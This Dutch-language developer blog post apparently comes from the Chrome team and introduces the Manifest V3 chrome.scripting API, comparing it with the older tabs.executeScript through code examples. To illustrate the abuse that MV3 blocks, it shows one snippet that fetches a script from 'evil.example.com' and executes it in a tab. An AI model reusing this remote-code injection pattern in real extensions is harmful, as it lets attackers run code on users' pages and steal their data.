Maak kennis met chrome.scripting

Manifest V3 introduceert een aantal wijzigingen in het extensieplatform van Chrome. In dit bericht onderzoeken we de motivaties en veranderingen die zijn geïntroduceerd door een van de meest opvallende veranderingen: de introductie van de chrome.scripting API.

Wat is chrome.scripting?

Zoals de naam doet vermoeden, is chrome.scripting een nieuwe naamruimte geïntroduceerd in Manifest V3, verantwoordelijk voor script- en stijlinjectiemogelijkheden.

Ontwikkelaars die in het verleden Chrome-extensies hebben gemaakt, zijn mogelijk bekend met Manifest V2-methoden op de Tabs API , zoals chrome.tabs.executeScript en chrome.tabs.insertCSS . Met deze methoden kunnen extensies respectievelijk scripts en stylesheets in pagina's injecteren. In Manifest V3 zijn deze mogelijkheden verplaatst naar chrome.scripting en we zijn van plan deze API in de toekomst uit te breiden met enkele nieuwe mogelijkheden.

Waarom een ​​nieuwe API maken?

Bij een verandering als deze is een van de eerste vragen die vaak naar boven komt: "Waarom?"

Een aantal verschillende factoren hebben ertoe geleid dat het Chrome-team besloot een nieuwe naamruimte voor scripting te introduceren. Ten eerste is de Tabs API een beetje een rommellade voor functies. Ten tweede moesten we belangrijke wijzigingen aanbrengen in de bestaande executeScript API. Ten derde wisten we dat we de scriptmogelijkheden voor extensies wilden uitbreiden. Samen definieerden deze zorgen duidelijk de behoefte aan een nieuwe naamruimte waarin scriptmogelijkheden konden worden ondergebracht.

De rommellade

Een van de problemen waar het Extensions-team de afgelopen jaren last van heeft gehad, is dat de chrome.tabs API overbelast is. Toen deze API voor het eerst werd geïntroduceerd, hadden de meeste mogelijkheden die deze bood betrekking op het brede concept van een browsertabblad. Maar zelfs op dat moment was het een beetje een grabbelton vol functies en door de jaren heen is deze collectie alleen maar gegroeid.

Tegen de tijd dat Manifest V3 werd uitgebracht, was de Tabs API uitgegroeid tot basistabbladbeheer, selectiebeheer, vensterorganisatie, berichtenuitwisseling, zoombediening, basisnavigatie, scripting en een paar andere kleinere mogelijkheden. Hoewel deze allemaal belangrijk zijn, kan het een beetje overweldigend zijn voor ontwikkelaars als ze aan de slag gaan en voor het Chrome-team terwijl we het platform onderhouden en verzoeken van de ontwikkelaarsgemeenschap in overweging nemen.

Een andere complicerende factor is dat de toestemming tabs niet goed wordt begrepen. Hoewel veel andere machtigingen de toegang tot een bepaalde API beperken (bijvoorbeeld storage ), is deze machtiging een beetje ongebruikelijk omdat deze de extensie alleen toegang verleent tot gevoelige eigenschappen op Tab-instanties (en bij uitbreiding ook invloed heeft op de Windows API). Het is begrijpelijk dat veel ontwikkelaars van extensies ten onrechte denken dat ze deze toestemming nodig hebben om toegang te krijgen tot methoden op de Tabs API, zoals chrome.tabs.create of, belangrijker nog, chrome.tabs.executeScript . Het verplaatsen van functionaliteit uit de Tabs API helpt een deel van deze verwarring op te helderen.

Veranderingen doorbreken

Bij het ontwerpen van Manifest V3 was een van de belangrijkste problemen die we wilden aanpakken misbruik en malware, mogelijk gemaakt door "op afstand gehoste code" - code die wordt uitgevoerd, maar niet is opgenomen in het uitbreidingspakket. Het komt vaak voor dat auteurs van misbruikende extensies scripts uitvoeren die zijn opgehaald van externe servers om gebruikersgegevens te stelen, malware te injecteren en detectie te omzeilen. Hoewel goede acteurs deze mogelijkheid ook gebruiken, vonden we het uiteindelijk gewoon te gevaarlijk om te blijven zoals het was.

Er zijn een aantal verschillende manieren waarop extensies niet-gebundelde code kunnen uitvoeren, maar de relevante hier is de Manifest V2 chrome.tabs.executeScript methode. Met deze methode kan een extensie een willekeurige reeks code uitvoeren op een doeltabblad. Dit betekent op zijn beurt dat een kwaadwillende ontwikkelaar een willekeurig script van een externe server kan ophalen en dit kan uitvoeren op elke pagina waartoe de extensie toegang heeft. We wisten dat als we het probleem met de externe code wilden aanpakken, we deze functie moesten laten vallen.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

We wilden ook enkele andere, subtielere problemen met het ontwerp van de Manifest V2-versie oplossen en van de API een meer gepolijste en voorspelbare tool maken.

Hoewel we de signatuur van deze methode binnen de Tabs API hadden kunnen veranderen, waren we van mening dat tussen deze ingrijpende wijzigingen en de introductie van nieuwe mogelijkheden (besproken in de volgende sectie) een duidelijke breuk voor iedereen gemakkelijker zou zijn.

Uitbreiding van scriptmogelijkheden

Een andere overweging die meespeelde in het Manifest V3-ontwerpproces was de wens om extra scriptmogelijkheden te introduceren op het extensieplatform van Chrome. Concreet wilden we ondersteuning toevoegen voor dynamische inhoudsscripts en de mogelijkheden van de executeScript methode uitbreiden.

Ondersteuning voor dynamische inhoudsscripts is een al lang bestaand functieverzoek in Chromium. Tegenwoordig kunnen de Chrome-extensies Manifest V2 en V3 alleen inhoudsscripts statisch declareren in hun manifest.json bestand; het platform biedt geen manier om nieuwe inhoudsscripts te registreren, de registratie van inhoudsscripts aan te passen of de registratie van inhoudsscripts tijdens runtime ongedaan te maken.

Hoewel we wisten dat we dit functieverzoek in Manifest V3 wilden aanpakken, voelde geen van onze bestaande API's als de juiste plek. We hebben ook overwogen om ons aan te passen aan Firefox op hun Content Scripts API , maar al heel vroeg ontdekten we een aantal grote nadelen aan deze aanpak. Ten eerste wisten we dat we incompatibele handtekeningen zouden hebben (bijvoorbeeld het wegvallen van de ondersteuning voor de code eigenschap). Ten tweede had onze API een andere reeks ontwerpbeperkingen (bijvoorbeeld de noodzaak dat een registratie langer blijft bestaan ​​dan de levensduur van een servicemedewerker). Ten slotte zou deze naamruimte ons ook in een hokje plaatsen voor inhoudsscriptfunctionaliteit, waarbij we nadenken over scripting in extensies in bredere zin.

Op het gebied executeScript wilden we ook uitbreiden wat deze API kon doen, buiten wat de Tabs API-versie ondersteunde. Meer specifiek wilden we functies en argumenten ondersteunen, gemakkelijker specifieke frames targeten en niet-tabcontexten targeten.

In de toekomst overwegen we ook hoe extensies kunnen communiceren met geïnstalleerde PWA's en andere contexten die conceptueel niet aan 'tabbladen' zijn toegewezen.

Wijzigingen tussen tabs.executeScript en scripting.executeScript

In de rest van dit bericht wil ik de overeenkomsten en verschillen tussen chrome.tabs.executeScript en chrome.scripting.executeScript nader bekijken.

Een functie met argumenten injecteren

Terwijl we overwogen hoe het platform zou moeten evolueren in het licht van op afstand gehoste codebeperkingen, wilden we een balans vinden tussen de brute kracht van het uitvoeren van willekeurige code en het alleen toestaan ​​van statische inhoudsscripts. De oplossing die we tegenkwamen was om extensies toe te staan ​​een functie als inhoudsscript te injecteren en een array van waarden als argumenten door te geven.

Laten we even een (te simpel) voorbeeld bekijken. Stel dat we een script wilden injecteren dat de gebruiker bij naam begroette wanneer de gebruiker op de actieknop van de extensie klikt (pictogram in de werkbalk). In Manifest V2 konden we dynamisch een codereeks construeren en dat script op de huidige pagina uitvoeren.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Hoewel Manifest V3-extensies geen code kunnen gebruiken die niet bij de extensie is geleverd, was het ons doel om een ​​deel van de dynamiek te behouden die willekeurige codeblokken mogelijk maakten voor Manifest V2-extensies. De functie- en argumentenbenadering maakt het voor reviewers, gebruikers en andere geïnteresseerde partijen van de Chrome Web Store mogelijk om de risico's die een extensie met zich meebrengt nauwkeuriger in te schatten, terwijl ontwikkelaars ook het runtime-gedrag van een extensie kunnen aanpassen op basis van gebruikersinstellingen of de status van de applicatie.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targetingframes

We wilden ook de manier verbeteren waarop ontwikkelaars omgaan met frames in de herziene API. Met de Manifest V2-versie van executeScript konden ontwikkelaars alle frames op een tabblad of een specifiek frame op het tabblad targeten. U kunt chrome.webNavigation.getAllFrames gebruiken om een ​​lijst met alle frames op een tabblad te krijgen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 hebben we de optionele eigenschap frameId integer in het options-object vervangen door een optionele frameIds array met gehele getallen; Hierdoor kunnen ontwikkelaars meerdere frames targeten in één enkele API-aanroep.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultaten van scriptinjectie

We hebben ook de manier verbeterd waarop we de resultaten van scriptinjectie retourneren in Manifest V3. Een "resultaat" is in feite de uiteindelijke verklaring die in een script wordt geëvalueerd. Zie het als de waarde die wordt geretourneerd wanneer u eval() aanroept of een codeblok uitvoert in de Chrome DevTools-console, maar dan geserialiseerd om resultaten door te geven aan verschillende processen.

In Manifest V2 zouden executeScript en insertCSS een reeks gewone uitvoeringsresultaten retourneren. Dit is prima als u slechts één injectiepunt heeft, maar de volgorde van de resultaten is niet gegarandeerd wanneer u in meerdere frames injecteert, dus er is geen manier om te bepalen welk resultaat aan welk frame is gekoppeld.

Laten we voor een concreet voorbeeld eens kijken naar de results die worden geretourneerd door een Manifest V2- en een Manifest V3-versie van dezelfde extensie. Beide versies van de extensie injecteren hetzelfde inhoudsscript en we vergelijken de resultaten op dezelfde demopagina .

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Wanneer we de Manifest V2-versie uitvoeren, krijgen we een array terug van [1, 0, 5] . Welk resultaat komt overeen met het hoofdframe en welk resultaat is voor het iframe? De retourwaarde vertelt ons niets, dus we weten het niet zeker.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In de Manifest V3-versie bevatten results nu een array van resultaatobjecten in plaats van een array van alleen de evaluatieresultaten, en de resultaatobjecten identificeren duidelijk de ID van het frame voor elk resultaat. Dit maakt het voor ontwikkelaars veel gemakkelijker om het resultaat te gebruiken en actie te ondernemen op een specifiek frame.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Afronden

Duidelijke versiehobbels bieden een zeldzame kans om uitbreidings-API's te heroverwegen en te moderniseren. Ons doel met Manifest V3 is om de eindgebruikerservaring te verbeteren door extensies veiliger te maken en tegelijkertijd de ontwikkelaarservaring te verbeteren. Door chrome.scripting in Manifest V3 te introduceren, hebben we kunnen helpen de Tabs API op te schonen, executeScript opnieuw uit te vinden voor een veiliger extensieplatform en de basis te leggen voor nieuwe scriptmogelijkheden die later dit jaar zullen verschijnen.